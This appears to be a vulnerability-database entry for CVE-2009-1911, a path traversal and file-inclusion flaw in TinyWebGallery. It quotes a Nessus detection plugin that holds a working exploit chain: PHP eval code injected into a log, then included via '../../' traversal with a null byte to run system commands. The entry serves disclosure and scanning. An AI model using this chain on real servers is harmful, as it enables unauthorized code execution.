Vulnerabilities > CVE-2009-1911 - Path Traversal vulnerability in multiple products

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
tinywebgallery
claudio-klingler
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in .include/init.php (aka admin/_include/init.php) in QuiXplorer 2.3.2 and earlier, as used in TinyWebGallery (TWG) 1.7.6 and earlier, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang parameter to admin/index.php.

Vulnerable Configurations

Part Description Count
Application
Tinywebgallery
69
Application
Claudio_Klingler
12

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionTinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit. CVE-2009-1911. Webapps exploit for php platform
fileexploits/php/webapps/8649.php
idEDB-ID:8649
last seen2016-02-01
modified2009-05-08
platformphp
port
published2009-05-08
reporterEgiX
sourcehttps://www.exploit-db.com/download/8649/
titleTinyWebGallery <= 1.7.6 - LFI / Remote Code Execution Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idTWG_LANG_LFI.NASL
descriptionThe remote host is running TinyWebGallery, a web-based photo gallery application written in PHP. The version of TinyWebGallery installed on the remote host fails to filter user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id38888
published2009-05-26
reporterThis script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/38888
titleTinyWebGallery lang Parameter Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(38888);
  script_version("1.20");

  script_cve_id("CVE-2009-1911");
  script_bugtraq_id(34892);
  script_xref(name:"EDB-ID", value:"8649");

  script_name(english:"TinyWebGallery lang Parameter Local File Inclusion");
  script_summary(english:"Tries to read a local file");

  script_set_attribute( attribute:"synopsis",  value:
"The remote web server contains a PHP script that is affected by a
local file include vulnerability."  );
  script_set_attribute( attribute:"description",  value:
"The remote host is running TinyWebGallery, a web-based photo gallery
application written in PHP.

The version of TinyWebGallery installed on the remote host fails to
filter user-supplied input to the 'lang' parameter of the
'admin/_include/init.php' script before using it to include PHP code.
Regardless of PHP's 'register_globals' setting, an unauthenticated
attacker can exploit this issue to view arbitrary files or possibly to
execute arbitrary PHP code on the remote host, subject to the
privileges of the web server user id."  );
   # http://web.archive.org/web/20091225213455/http://www.tinywebgallery.com/forum/viewtopic.php?t=1653
  script_set_attribute(
    attribute:"see_also", 
    value:"http://www.nessus.org/u?98ee11cb"
  );
  script_set_attribute(  attribute:"solution",   value:
"Upgrade to TinyWebGallery 1.7.7 or later."  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_cwe_id(22);
 script_set_attribute(attribute:"plugin_publication_date", value: "2009/05/26");
 script_cvs_date("Date: 2018/08/03 11:35:08");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:tinywebgallery:tinywebgallery");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_MIXED_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");


port = get_http_port(default:80, embedded: 0, php: 1);

os = get_kb_item("Host/OS");
if (os)
{
  if ("Windows" >< os) cmd = "ipconfig /all";
  else cmd = "id";
  cmds = make_list(cmd);
}
else cmds = make_list("id", "ipconfig /all");
cmd_pats = make_array();
cmd_pats["id"] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats["ipconfig /all"] = "Subnet Mask";


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/tinywebgallery", "/twg", "/photos", "/gallery", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Unless we're paranoid, make sure we're looking at TinyWebGallery.
  if (report_paranoia < 2)
  {
    url = string(dir, "/index.php");
    res = http_get_cache(item:url, port:port, exit_on_fail: 1);

    if (
      'Powered by TinyWebGallery' >!< res ||
      'js/twg_' >!< res
    ) continue;
  }

  # If safe checks are enabled...
  if (safe_checks())
  {
    # Try to grab a known file.
    file = "counter/counter.txt";
    traversal = "../../";

    lang = string(traversal, file);
    url = string(
      dir, "/admin/index.php?",
      "lang=", lang, "%00"
    );

    res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail: 1);

    # There's a problem if our 'lang' is embedded in the form action along with a null.
    if (string("&lang=", lang, '\0" method="post"') >< res[2])
    {
      if (report_verbosity > 0)
      {
        report = string(
          "\n",
          "Nessus was able to verify the issue exists using the following \n",
          "URL :\n",
          "\n",
          "  ", build_url(port:port, qs:url), "\n",
          "\n",
          "Note that this won't display the contents of '", file, "'\n",
          "because of the way the application buffers output but rather\n",
          "show that the application does not sanitize input to the 'lang'\n",
          "parameter of directory traversal sequences.\n"
        );
        security_warning(port:port, extra:report);
      }
      else security_warning(port);

      exit(0);
    }
  }
  # Otherwise if safe checks are disabled...
  else
  {
    # Inject our payload into the log.
    sep = string(SCRIPT_NAME, "-", unixtime());
    fake_srv = string("NESSUS_CMD_", toupper(rand_str()));
    exploit = string('<?php ${eval(base64_decode($_SERVER[HTTP_', fake_srv, ']))}?>');

    postdata = string(
      "p_user={", exploit, "}&", 
      "p_pass="
    );

    url = string(
      dir, "/admin/index.php?",
      "action=login"
    );

    res = http_send_recv3(
      port        : port,
      method      : 'POST', 
      item        : url, 
      data        : postdata,
      content_type: "application/x-www-form-urlencoded"
    );
    if (isnull(res)) exit(0);

    # Now try to run a command.
    file = "counter/_twg.log";
    traversal = "../../";

    lang = string(traversal, file);
    url = string(
      dir, "/admin/index.php?",
      "lang=", lang, "%00"
    );

    foreach cmd (cmds)
    {
      req = http_mk_get_req(
        port        : port,
        item        : url, 
        add_headers : make_array(
          fake_srv, base64(str:string("echo '", sep, " >>';system('", cmd, "');echo '<< ", sep, "';die;")),
          # try the milw0rm exploit too, in case someone else tried it
          'Cmd', base64(str:cmd)
        )
      );
      res = http_send_recv_req(port:port, req:req, exit_on_fail: 1);

      # There's a problem if we see the expected command output.
      if ('ipconfig' >< exploit) pat = cmd_pats['ipconfig'];
      else pat = cmd_pats['id'];

      if (egrep(pattern:pat, string:res[2]))
      {
        if (report_verbosity > 0)
        {
          req_str = http_mk_buffer_from_req(req:req);
          report = string(
            "\n",
            "Nessus was able to execute the command '", cmd, "' on the remote \n",
            "host using the following request :\n",
            "\n",
            crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
            req_str, "\n",
            crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
          );
          if (report_verbosity > 1)
          {
            if (sep >< res[2])
            {
              output = strstr(res[2], string(sep, " >>")) - string(sep, " >>");
              output = output - strstr(output, string("<< ", sep));
            }
            else if ("_code_" >< res[2])
            {
              output = strstr(res[2], "_code_") - "_code_";
            }
            else output = res[2];

            report = string(
              report,
             "\n",
              "It produced the following output :\n",
              "\n",
              crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
              data_protection::sanitize_uid(output:output),
              crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
            );
          }
          security_warning(port:port, extra:report);
        }
        else security_warning(port);
        exit(0);
      }
    }
  }
}